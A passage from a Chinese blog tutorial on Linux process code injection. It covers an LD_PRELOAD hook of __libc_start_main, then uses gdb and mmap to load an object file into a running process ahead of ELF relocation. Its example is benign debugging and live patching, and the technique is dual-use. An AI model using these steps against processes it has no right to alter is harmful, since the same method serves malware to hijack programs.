Linux 平台一种进程代码注入方法

来源:互联网 发布:免费申请域名的网站 编辑:程序博客网 时间:2024/06/13 21:16

http://blog.csdn.net/occupy8/article/details/17056769

用于在目标程序的 main 函数执行前完成一些操作 ;)  特定情况下用来调试还是不错的。

源代码

[c] view plain copy
  1. <span style="color:#808080; font-style:italic">/* fakemain.c 
  2.  * Heiher <admin@heiher.info> 
  3.  */</span>  
  4.    
  5. <span style="color:#339933">#include <stdio.h></span>  
  6.    
  7. <span style="color:#339933">#define __USE_GNU</span>  
  8. <span style="color:#339933">#include <dlfcn.h></span>  
  9.    
  10. <span style="color:#993333">static</span> <span style="color:#993333">void</span> do_something<span style="color:#0990">(</span><span style="color:#993333">void</span><span style="color:#0990">)</span>  
  11. <span style="color:#0990">{</span>  
  12.     <span style="color:#0066">printf</span><span style="color:#0990">(</span><span style="color:#ff00">"Hello!<span style="color:#0099; font-weight:bold">\n</span>"</span><span style="color:#0990">)</span><span style="color:#339933">;</span>  
  13. <span style="color:#0990">}</span>  
  14.    
  15. <span style="color:#993333">int</span> __libc_start_main<span style="color:#0990">(</span><span style="color:#993333">int</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>main<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">int</span><span style="color:#339933">,</span> <span style="color:#993333">char</span> <span style="color:#339933">**,</span> <span style="color:#993333">char</span> <span style="color:#339933">**</span><span style="color:#0990">)</span><span style="color:#339933">,</span>  
  16.             <span style="color:#993333">int</span> argc<span style="color:#339933">,</span> <span style="color:#993333">char</span> <span style="color:#339933">**</span>ubp_av<span style="color:#339933">,</span> <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>init<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">void</span><span style="color:#0990">)</span><span style="color:#339933">,</span>  
  17.             <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>fini<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">void</span><span style="color:#0990">)</span><span style="color:#339933">,</span> <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>rtld_fini<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">void</span><span style="color:#0990">)</span><span style="color:#339933">,</span>  
  18.             <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>stack_end<span style="color:#0990">)</span><span style="color:#0990">)</span>  
  19. <span style="color:#0990">{</span>  
  20.     <span style="color:#993333">int</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>__libc_start_main_real<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">int</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>main<span style="color:#0990">)</span> <span style="color:#0990">(</span><span style="color:#993333">int</span><span style="color:#339933">,</span> <span style="color:#993333">char</span> <span style="color:#339933">**,</span> <span style="color:#993333">char</span> <span style="color:#339933">**</span><span style="color:#0990">)</span><span style="color:#339933">,</span>  
  21.                 <span style="color:#993333">int</span> argc<span style="color:#339933">,</span> <span style="color:#993333">char</span> <span style="color:#339933">**</span>ubp_av<span style="color:#339933">,</span> <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>init<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">void</span><span style="color:#0990">)</span><span style="color:#339933">,</span>  
  22.                 <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>fini<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">void</span><span style="color:#0990">)</span><span style="color:#339933">,</span> <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>rtld_fini<span style="color:#0990">)</span><span style="color:#0990">(</span><span style="color:#993333">void</span><span style="color:#0990">)</span><span style="color:#339933">,</span>  
  23.                 <span style="color:#993333">void</span> <span style="color:#0990">(</span><span style="color:#339933">*</span>stack_end<span style="color:#0990">)</span><span style="color:#0990">)</span><span style="color:#339933">;</span>  
  24.    
  25.     do_something<span style="color:#0990">(</span><span style="color:#0990">)</span><span style="color:#339933">;</span>  
  26.    
  27.     __libc_start_main_real <span style="color:#339933">=</span> dlsym<span style="color:#0990">(</span>RTLD_NEXT<span style="color:#339933">,</span> <span style="color:#ff00">"__libc_start_main"</span><span style="color:#0990">)</span><span style="color:#339933">;</span>  
  28.    
  29.     <span style="color:#b1b10">return</span> __libc_start_main_real<span style="color:#0990">(</span>main<span style="color:#339933">,</span> argc<span style="color:#339933">,</span> ubp_av<span style="color:#339933">,</span> init<span style="color:#339933">,</span> fini<span style="color:#339933">,</span>  
  30.                 rtld_fini<span style="color:#339933">,</span> stack_end<span style="color:#0990">)</span><span style="color:#339933">;</span>  
  31. <span style="color:#0990">}</span>  

编译

<span style="font-weight: bold;">gcc</span> -o libfakemain.so -fPIC -shared fakemain.c -ldl

测试

LD_PRELOAD=.<span style="font-weight: bold;">/</span>libfakemain.so <span style="font-weight: bold;">ls</span>
[text] view plain copy
  1. Hello!  
  2. fakemain.c  hotkey  hotkey.vala  libfakemain.so  

Over!

 

 

 

1、简介

假设Linux上正在运行某程序,像Unix守护程序等,我们不想终止该程序,但是同时又需要更新程序的功能。首先映入脑海的可能是更新程序中一些已知函数,添加额外的功能,这样就不会影响到程序已有的功能,且不用终止程序。考虑向正在运行的程序中注入一些新的代码,当程序中已存在的另一个函数被调用时触发这些新代码。也许这种想法有些异想天开,但并不是不能实现的,有时我们确实需要向正在运行的程序中注入一些代码,当然其与病毒的代码注入技术与存在一定关联。

在本文中,我会向读者解释如何向正在Linux系统上运行的程序中注入一段C函数代码,而不必终止该程序。文中我们会讨论Linux目标文件格式Executable and Linkable Format(ELF),讨论目标文件sections(段)、symbols(符号)以及relocations(重定位)。

2、示例概述
笔者会利用以下简单的示例程序向读者一步步解释代码注入技术。示例由以下三部分组成:

<span class="pun">(</span><span class="lit">1</span><span class="pun">)由源码</span><span class="pln">dynlib</span><span class="pun">.</span><span class="pln">h</span><span class="pun">与</span><span class="pln">dynlib</span><span class="pun">.</span><span class="pln">c</span><span class="pun">编译的动态(共享)库</span><span class="pln">libdynlib</span><span class="pun">.</span><span class="pln">so</span><span class="pun">(</span><span class="lit">2</span><span class="pun">)由源码</span><span class="pln">app</span><span class="pun">.</span><span class="pln">c</span><span class="pun">编译的</span><span class="pln">app</span><span class="pun">程序,会链接</span><span class="pln">libdynlib</span><span class="pun">.</span><span class="pln">so</span><span class="pun">库</span><span class="pln"></span><span class="pun">(</span><span class="lit">3</span><span class="pun">)</span><span class="pln">injection</span><span class="pun">.</span><span class="pln">c</span><span class="pun">文件中的注入函数</span>

下面看一下这些代码:

<span class="com">//dynlib.h</span><span class="pln"></span><span class="kwd">extern</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> print</span><span class="pun">();</span>

dynlib.h文件中声明了printf()函数。

<span class="com">//dynlib.c</span><span class="pln"> </span><span class="com">#include</span><span class="pln"> </span><span class="str"><stdio.h></span><span class="pln"> </span><span class="com">#include</span><span class="pln"> </span><span class="str"><sys/types.h></span><span class="pln"> </span><span class="com">#include</span><span class="pln"> </span><span class="str"><unistd.h></span><span class="pln"> </span><span class="com">#include</span><span class="pln"> </span><span class="str">"dynlib.h"</span><span class="pln"> </span><span class="kwd">extern</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"> </span><span class="pun">{</span><span class="pln">     </span><span class="kwd">static</span><span class="pln"> </span><span class="kwd">unsigned</span><span class="pln"> </span><span class="typ">int</span><span class="pln"> counter </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln">     </span><span class="pun">++</span><span class="pln">counter</span><span class="pun">;</span><span class="pln">     printf</span><span class="pun">(</span><span class="str">"%d : PID %d : In print()\n"</span><span class="pun">,</span><span class="pln"> counter</span><span class="pun">,</span><span class="pln"> getpid</span><span class="pun">());</span><span class="pln"> </span><span class="pun">}</span>

dynlib.c文件实现了print()函数,该函数只是打印一个计数(每次函数被调用时都会使该值增加)以及当前进程的pid。

<span class="com">//app.c</span><span class="pln"></span><span class="com">#include</span><span class="pln"> </span><span class="str"><stdio.h></span><span class="pln"></span><span class="com">#include</span><span class="pln"> </span><span class="str"><unistd.h></span><span class="pln"></span><span class="com">#include</span><span class="pln"> </span><span class="str">"dynlib.h"</span><span class="pln"></span><span class="typ">int</span><span class="pln"> main</span><span class="pun">()</span><span class="pln"></span><span class="pun">{</span><span class="pln">     </span><span class="kwd">while</span><span class="pun">(</span><span class="lit">1</span><span class="pun">)</span><span class="pln">     </span><span class="pun">{</span><span class="pln">         print</span><span class="pun">();</span><span class="pln">         printf</span><span class="pun">(</span><span class="str">"Going to sleep...\n"</span><span class="pun">);</span><span class="pln">         sleep</span><span class="pun">(</span><span class="lit">3</span><span class="pun">);</span><span class="pln">         printf</span><span class="pun">(</span><span class="str">"Waked up...\n"</span><span class="pun">);</span><span class="pln">     </span><span class="pun">}</span><span class="pln">     </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"></span><span class="pun">}</span>

app.c文件中的函数调用print()函数(来自libdynlib.so动态库),之后睡眠几秒钟,然后继续执行该无限循环。

<span class="com">//injection.c</span><span class="pln"></span><span class="com">#include</span><span class="pln"> </span><span class="str"><stdlib.h></span><span class="pln"></span><span class="kwd">extern</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> print</span><span class="pun">();</span><span class="pln"></span><span class="kwd">extern</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> injection</span><span class="pun">()</span><span class="pln"></span><span class="pun">{</span><span class="pln">      print</span><span class="pun">();</span><span class="pln">  </span><span class="com">//原本的工作,调用print()函数</span><span class="pln">     system</span><span class="pun">(</span><span class="str">"date"</span><span class="pun">);</span><span class="pln">  </span><span class="com">//添加的额外工作</span><span class="pln"></span><span class="pun">}</span>

injection()函数调用会替换app.c文件中main()函数调用的print()函数调用。injection()函数首先会调用原print()函数,之后进行额外的工作。例如,它可以利用system()函数运行一些外部可执行程序,或者像本例中一样打印当前的日期。

3、编译并运行程序

首先利用gcc编译器编译这些源文件:

<span class="pln">$ gcc </span><span class="pun">-</span><span class="pln">g </span><span class="pun">-</span><span class="typ">Wall</span><span class="pln"> dynlib</span><span class="pun">.</span><span class="pln">c </span><span class="pun">-</span><span class="pln">fPIC </span><span class="pun">-</span><span class="pln">shared </span><span class="pun">-</span><span class="pln">o libdynlib</span><span class="pun">.</span><span class="pln">so$ gcc </span><span class="pun">–</span><span class="pln">g app</span><span class="pun">.</span><span class="pln">c </span><span class="pun">–</span><span class="pln">ldynlib </span><span class="pun">–</span><span class="pln">L </span><span class="pun">./</span><span class="pln"> </span><span class="pun">-</span><span class="pln">o app$ gcc </span><span class="pun">-</span><span class="typ">Wall</span><span class="pln"> injection</span><span class="pun">.</span><span class="pln">c </span><span class="pun">-</span><span class="pln">c </span><span class="pun">-</span><span class="pln">o injection</span><span class="pun">.</span><span class="pln">o</span>

编译后的程序为:

<span class="pun">-</span><span class="pln">rwxrwxr</span><span class="pun">-</span><span class="pln">x </span><span class="lit">1</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pln"> </span><span class="lit">6224</span><span class="pln"> </span><span class="typ">Oct</span><span class="pln"> </span><span class="lit">15</span><span class="pln"> </span><span class="lit">14</span><span class="pun">:</span><span class="lit">04</span><span class="pln"> app</span><span class="pun">-</span><span class="pln">rw</span><span class="pun">-</span><span class="pln">rw</span><span class="pun">-</span><span class="pln">r</span><span class="pun">–</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pln"> </span><span class="lit">888</span><span class="pln"> </span><span class="typ">Oct</span><span class="pln"> </span><span class="lit">16</span><span class="pln"> </span><span class="lit">17</span><span class="pun">:</span><span class="lit">53</span><span class="pln"> injection</span><span class="pun">.</span><span class="pln">o</span><span class="pun">-</span><span class="pln">rwxrwxr</span><span class="pun">-</span><span class="pln">x </span><span class="lit">1</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pln"> </span><span class="lit">5753</span><span class="pln"> </span><span class="typ">Oct</span><span class="pln"> </span><span class="lit">16</span><span class="pln"> </span><span class="lit">17</span><span class="pun">:</span><span class="lit">52</span><span class="pln"> libdynlib</span><span class="pun">.</span><span class="pln">so</span>

需要注意的是动态库libdynlib.so在编译时指定了-fPIC选项,用来生成地址无关的程序。下面运行app可执行程序:

<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ </span><span class="pun">./</span><span class="pln">app</span><span class="pun">./</span><span class="pln">app</span><span class="pun">:</span><span class="pln"> error </span><span class="kwd">while</span><span class="pln"> loading shared libraries</span><span class="pun">:</span><span class="pln"> libdynlib</span><span class="pun">.</span><span class="pln">so</span><span class="pun">:</span><span class="pln"> cannot open shared object file</span><span class="pun">:</span><span class="pln"> </span><span class="typ">No</span><span class="pln"> such file or directory</span>

如果产生以上错误,我们需要将生成的libdynlib.so文件拷贝到/usr/lib/目录下,再执行该程序,得到如下结果:

<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ </span><span class="pun">./</span><span class="pln">app</span><span class="lit">1</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> PID </span><span class="lit">25658</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"></span><span class="typ">Going</span><span class="pln"> to sleep</span><span class="pun">…</span><span class="pln"></span><span class="typ">Waked</span><span class="pln"> up</span><span class="pun">…</span><span class="pln"></span><span class="lit">2</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> PID </span><span class="lit">25658</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"></span><span class="typ">Going</span><span class="pln"> to sleep</span><span class="pun">…</span><span class="pln"></span><span class="typ">Waked</span><span class="pln"> up</span><span class="pun">…</span><span class="pln"></span><span class="lit">3</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> PID </span><span class="lit">25658</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"></span><span class="typ">Going</span><span class="pln"> to sleep</span><span class="pun">…</span>

4、调试应用程序
程序app只是一个简单的循环程序,这里我们假设其已经运行了几周,在不终止该程序的情况下,将我们的新代码注入到该程序中。在注入过程中利用Linux自带的功能强大的调试器gdb。首先我们需要利用pid(见程序的输出)将程序附着到gdb:

<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ gdb app </span><span class="lit">25658</span><span class="pln">GNU gdb </span><span class="typ">Red</span><span class="pln"> </span><span class="typ">Hat</span><span class="pln"> </span><span class="typ">Linux</span><span class="pln"> </span><span class="pun">(</span><span class="lit">6.3</span><span class="pun">.</span><span class="lit">0.0</span><span class="pun">-</span><span class="lit">1.122rh</span><span class="pun">)</span><span class="pln"></span><span class="typ">Copyright</span><span class="pln"> </span><span class="lit">2004</span><span class="pln"> </span><span class="typ">Free</span><span class="pln"> </span><span class="typ">Software</span><span class="pln"> </span><span class="typ">Foundation</span><span class="pun">,</span><span class="pln"> </span><span class="typ">Inc</span><span class="pun">.</span><span class="pln">GDB is free software</span><span class="pun">,</span><span class="pln"> covered by the GNU </span><span class="typ">General</span><span class="pln"> </span><span class="typ">Public</span><span class="pln"> </span><span class="typ">License</span><span class="pun">,</span><span class="pln"> and you arewelcome to change it and</span><span class="pun">/</span><span class="pln">or distribute copies of it under certain conditions</span><span class="pun">.</span><span class="pln"></span><span class="typ">Type</span><span class="pln"> </span><span class="pun">“</span><span class="pln">show copying</span><span class="pun">”</span><span class="pln"> to see the conditions</span><span class="pun">.</span><span class="pln"></span><span class="typ">There</span><span class="pln"> is absolutely no warranty </span><span class="kwd">for</span><span class="pln"> GDB</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Type</span><span class="pln"> </span><span class="pun">“</span><span class="pln">show warranty</span><span class="pun">”</span><span class="pln"> </span><span class="kwd">for</span><span class="pln"> details</span><span class="pun">.</span><span class="pln"></span><span class="typ">This</span><span class="pln"> GDB was configured as </span><span class="pun">“</span><span class="pln">i386</span><span class="pun">-</span><span class="pln">redhat</span><span class="pun">-</span><span class="pln">linux</span><span class="pun">-</span><span class="pln">gnu</span><span class="pun">”…</span><span class="typ">Using</span><span class="pln"> host libthread_db library </span><span class="pun">“/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">libthread_db</span><span class="pun">.</span><span class="pln">so</span><span class="pun">.</span><span class="lit">1</span><span class="pun">″.</span><span class="pln"></span><span class="typ">Attaching</span><span class="pln"> to program</span><span class="pun">:</span><span class="pln"> </span><span class="pun">/</span><span class="pln">home</span><span class="pun">/</span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pun">/</span><span class="pln">dynlib</span><span class="pun">/</span><span class="pln">app</span><span class="pun">,</span><span class="pln"> process </span><span class="lit">25658</span><span class="pln"></span><span class="typ">Reading</span><span class="pln"> symbols from shared object read from target memory</span><span class="pun">…</span><span class="kwd">done</span><span class="pun">.</span><span class="pln"></span><span class="typ">Loaded</span><span class="pln"> system supplied DSO at </span><span class="lit">0</span><span class="pun">×</span><span class="lit">464000</span><span class="pln"></span><span class="str">`shared object read from target memory’ has disappeared; keeping its symbols.Reading symbols from /usr/lib/libdynlib.so…done.Loaded symbols for /usr/lib/libdynlib.soReading symbols from /lib/libc.so.6…done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2…done.Loaded symbols for /lib/ld-linux.so.20×00464410 in __kernel_vsyscall ()(gdb)</span>

5、将注入代码加载到可执行程序的内存中
如前所述,目标文件injection.o初始并不包含在app可执行进程镜像中,我们首先需要将injection.o加载到进程的内存地址空间。可以通过mmap()系统调用,该系统调用可以将injection.o文件映射到app进程地址空间中。在gdb调试器中:

<span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> call open</span><span class="pun">(“</span><span class="pln">injection</span><span class="pun">.</span><span class="pln">o</span><span class="pun">”,</span><span class="pln"> </span><span class="lit">2</span><span class="pun">)</span><span class="pln">$1 </span><span class="pun">=</span><span class="pln"> </span><span class="lit">3</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> call mmap</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">888</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">|</span><span class="lit">2</span><span class="pun">|</span><span class="lit">4</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">3</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln">$2 </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1118208</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span>

首先利用O_RDWR(值为2)的读/写权限打开injection.o文件。一会之后我们在加载注入代码时做写修改,因此需要写权限。返回值为系统分配的文件描述符,可以看到值为3。之后调用mmap()系统调用将该文件载入进程的地址空间。mmap()函数原型如下:

<span class="com">#include</span><span class="pln"> </span><span class="str"><sys/mman.h></span><span class="pln"></span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">mmap</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">start</span><span class="pun">,</span><span class="pln"> </span><span class="typ">size_t</span><span class="pln"> length</span><span class="pun">,</span><span class="pln"> </span><span class="typ">int</span><span class="pln"> prot</span><span class="pun">,</span><span class="pln"> </span><span class="typ">int</span><span class="pln"> flags</span><span class="pun">,</span><span class="pln"> </span><span class="typ">int</span><span class="pln"> fd</span><span class="pun">,</span><span class="pln"> </span><span class="typ">off_t</span><span class="pln"> offset</span><span class="pun">);</span>

函数包含6个参数:

start表示映射区的开始地址,设置为0时表示由系统决定映射区起始地址。
length表示映射区的长度,这里为injection.o文件的长度,该值在前文第3节出现过。
prot表示期望的内存保护标志(即映射权限),不能与文件的打开模式冲突,这里为1|2|4(即PROT_READ | PROT_WRITE | PROT_EXEC,读/写/执行)
flags指定映射对象的类型,映射选项和映射页是否可以共享,
fd表示已经打开的文件描述符,这里为3。
offset表示被映射对象内容的起点,这里为0。
如果函数执行成功,则返回被映射文件在映射区的起始地址 
通过查看/proc/[pid]/maps的内容(这里pid为要注入的可执行进程的pid,本例为25593),我们可以确定injection.o文件实际被映射到的进程地址空间,在Linux系统中,文件包含当前正在运行的进程的内存布局信息

<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> </span><span class="pun">~]</span><span class="pln">$ cat </span><span class="pun">/</span><span class="pln">proc</span><span class="pun">/</span><span class="lit">25658</span><span class="pun">/</span><span class="pln">maps</span><span class="lit">00111000</span><span class="pun">-</span><span class="lit">00112000</span><span class="pln"> rwxs </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">02</span><span class="pln"> </span><span class="lit">57933979</span><span class="pln"> </span><span class="pun">/</span><span class="pln">home</span><span class="pun">/</span><span class="lit">0x80</span><span class="pun">/</span><span class="pln">dynlib</span><span class="pun">/</span><span class="pln">injection</span><span class="pun">.</span><span class="pln">o</span><span class="lit">00464000</span><span class="pun">-</span><span class="lit">00465000</span><span class="pln"> r</span><span class="pun">-</span><span class="pln">xp </span><span class="lit">00464000</span><span class="pln"> </span><span class="lit">00</span><span class="pun">:</span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="pun">[</span><span class="pln">vdso</span><span class="pun">]</span><span class="pln"></span><span class="lit">00500000</span><span class="pun">-</span><span class="lit">00501000</span><span class="pln"> r</span><span class="pun">-</span><span class="pln">xp </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">5464089</span><span class="pln"> </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">libdynlib</span><span class="pun">.</span><span class="pln">so</span><span class="lit">00501000</span><span class="pun">-</span><span class="lit">00502000</span><span class="pln"> rw</span><span class="pun">-</span><span class="pln">p </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">5464089</span><span class="pln"> </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">libdynlib</span><span class="pun">.</span><span class="pln">so</span><span class="lit">007bb000</span><span class="pun">-</span><span class="lit">007d4000</span><span class="pln"> r</span><span class="pun">-</span><span class="pln">xp </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">1311704</span><span class="pln"> </span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">ld</span><span class="pun">-</span><span class="lit">2.4</span><span class="pun">.</span><span class="pln">so</span><span class="lit">007d4000</span><span class="pun">-</span><span class="lit">007d5000</span><span class="pln"> r</span><span class="pun">--</span><span class="pln">p </span><span class="lit">00018000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">1311704</span><span class="pln"> </span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">ld</span><span class="pun">-</span><span class="lit">2.4</span><span class="pun">.</span><span class="pln">so</span><span class="lit">007d5000</span><span class="pun">-</span><span class="lit">007d6000</span><span class="pln"> rw</span><span class="pun">-</span><span class="pln">p </span><span class="lit">00019000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">1311704</span><span class="pln"> </span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">ld</span><span class="pun">-</span><span class="lit">2.4</span><span class="pun">.</span><span class="pln">so</span><span class="lit">007d8000</span><span class="pun">-</span><span class="lit">00904000</span><span class="pln"> r</span><span class="pun">-</span><span class="pln">xp </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">1311705</span><span class="pln"> </span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">libc</span><span class="pun">-</span><span class="lit">2.4</span><span class="pun">.</span><span class="pln">so</span><span class="lit">00904000</span><span class="pun">-</span><span class="lit">00907000</span><span class="pln"> r</span><span class="pun">--</span><span class="pln">p </span><span class="lit">0012b000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">1311705</span><span class="pln"> </span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">libc</span><span class="pun">-</span><span class="lit">2.4</span><span class="pun">.</span><span class="pln">so</span><span class="lit">00907000</span><span class="pun">-</span><span class="lit">00908000</span><span class="pln"> rw</span><span class="pun">-</span><span class="pln">p </span><span class="lit">0012e000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">01</span><span class="pln"> </span><span class="lit">1311705</span><span class="pln"> </span><span class="pun">/</span><span class="pln">lib</span><span class="pun">/</span><span class="pln">libc</span><span class="pun">-</span><span class="lit">2.4</span><span class="pun">.</span><span class="pln">so</span><span class="lit">00908000</span><span class="pun">-</span><span class="lit">0090b000</span><span class="pln"> rw</span><span class="pun">-</span><span class="pln">p </span><span class="lit">00908000</span><span class="pln"> </span><span class="lit">00</span><span class="pun">:</span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"></span><span class="lit">08048000</span><span class="pun">-</span><span class="lit">08049000</span><span class="pln"> r</span><span class="pun">-</span><span class="pln">xp </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">02</span><span class="pln"> </span><span class="lit">57933977</span><span class="pln"> </span><span class="pun">/</span><span class="pln">home</span><span class="pun">/</span><span class="pln"> </span><span class="lit">0x80</span><span class="pln"> </span><span class="pun">/</span><span class="pln">dynlib</span><span class="pun">/</span><span class="pln">app</span><span class="lit">08049000</span><span class="pun">-</span><span class="lit">0804a000</span><span class="pln"> rw</span><span class="pun">-</span><span class="pln">p </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">03</span><span class="pun">:</span><span class="lit">02</span><span class="pln"> </span><span class="lit">57933977</span><span class="pln"> </span><span class="pun">/</span><span class="pln">home</span><span class="pun">/</span><span class="pln"> </span><span class="lit">0x80</span><span class="pln"> </span><span class="pun">/</span><span class="pln">dynlib</span><span class="pun">/</span><span class="pln">app</span><span class="lit">09ca5000</span><span class="pun">-</span><span class="lit">09cc6000</span><span class="pln"> rw</span><span class="pun">-</span><span class="pln">p </span><span class="lit">09ca5000</span><span class="pln"> </span><span class="lit">00</span><span class="pun">:</span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="pun">[</span><span class="pln">heap</span><span class="pun">]</span><span class="pln">b7f94000</span><span class="pun">-</span><span class="pln">b7f95000 rw</span><span class="pun">-</span><span class="pln">p b7f94000 </span><span class="lit">00</span><span class="pun">:</span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln">b7fa4000</span><span class="pun">-</span><span class="pln">b7fa6000 rw</span><span class="pun">-</span><span class="pln">p b7fa4000 </span><span class="lit">00</span><span class="pun">:</span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln">bfb91000</span><span class="pun">-</span><span class="pln">bfba6000 rw</span><span class="pun">-</span><span class="pln">p bfb91000 </span><span class="lit">00</span><span class="pun">:</span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="pun">[</span><span class="pln">stack</span><span class="pun">]</span><span class="pln"></span><span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> </span><span class="pun">~]</span><span class="pln">$</span>

可以看到/home/0×80/dynlib/injection.o起始于进程地址空间的0×00111000地址处(转换成十进制即为1118208),终止于地址空间的0×00112000地址处。以上输出同时包含了其它动态库的映射信息。现在我们已经将所有需要的组件加载到可执行进程的内存空间中了。

6、重定位
下面,我们从内部检查ELF格式的二进制可执行文件程序app。我们使用Linux自带的readelf程序,来显示ELF格式的目标文件(Linux中的任意object文件、库或可执行文件)中的不同数据,即查看app程序中的符号重定位信息。我们只对其中的print()函数调用的重定位感兴趣。

